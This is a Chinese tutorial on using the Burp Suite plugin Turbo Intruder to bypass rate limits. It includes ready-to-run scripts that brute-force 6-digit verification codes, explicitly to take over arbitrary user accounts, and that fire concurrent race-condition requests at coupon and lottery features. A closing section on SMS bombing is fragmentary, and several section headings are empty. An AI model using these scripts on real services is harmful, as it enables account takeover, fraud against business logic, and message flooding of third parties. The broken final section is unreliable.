burpsuit插件Turbo Intruder:突破速率限制详解
一、插件介绍
二、插件原理
三、安装方式
四、使用方式
选中数据包右键选择Send to turbo intruder(这里一定要抓取数据包,没有抓取是不会显示send to tubo intruder菜单)
此时会打开一个新的窗口,该窗口上半部分区域为原始的HTTP请求包,下半部分为操作代码,中间部分可以根据场景从下拉框中选择具体操作代码。每次打开时此处默认为Last code used,即为上次使用的代码。
其中代码区需要使用“%s”字符来代替需要进行Fuzz的部分。选择对应的操作代码点击最下方Attack即可开始攻击。具体使用细节,可结合第三部分使用场景。
五、使用场景
1.验证码爆破
主要出现在手机验证或者邮箱验证码登录以及密码找回等功能处,验证码爆破需要结合用户名枚举可以实现接管任意用户。
验证码爆破操作代码:
from itertools import product
def brute_veify_code(target, engine, length):
pattern = '1234567890' #用于生成字典的迭代对像
for i in list(product(pattern, repeat=length)): #product()接收多个迭代对像,然后生成一个笛卡尔积,repeat参数代表重复迭代对象次数。
code = ''.join(i)
engine.queue(target.req, code)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, #指定目标的地址
concurrentConnections=30, #与服务器建立30条连接
requestsPerConnection=100, #每条连接同时发送100个请求
pipeline=True #开启管道(HTTP Pipelining)模式
)
brute_veify_code(target, engine, 6) #根据验证码位数修改
def handleResponse(req, interesting):
if 'error' not in req.response: #对response进行操作,不含有“error”的添加入表中
table.add(req)
演示:
假设百度wd参数为数字6位验证码。将参数值以“%s”代替,然后将上方代码复制到操作代码区域
2.并发测试
并发漏洞属于业务逻辑漏洞,存在于对次数进行限制的功能点,如签到,抽奖,优惠券领取等功能点。使用并发技术进行测试,观察服务器是否可以多次成功响应。
并发测试的操作代码:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=False
)
for i in range(30): #创建30个请求,需要和concurrentConnections对应,每条连接发送一个请求
engine.queue(target.req, target.baseInput, gate='race1') #“gate”参数会阻塞每个请求的最后一个字节,直到调用openGate
#等待,直到每个“race1”标记的请求就绪,然后发送每个请求的最后一个字节
engine.openGate('race1') #标识属于同一个并发测试的请求
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
演示:
此代码在插件中可选/examples/race.py
3.短信轰炸
抓一下发送验证码的数据包
记得在请求头加一个
X: %s
(turbo中的%s
类似于burp intruder里面的§s§
,虽然我们没有迭代的变量,但是turbo启动时会检查%s
)此代码在插件中可选/examples/race.py
328
,328
就是发送成功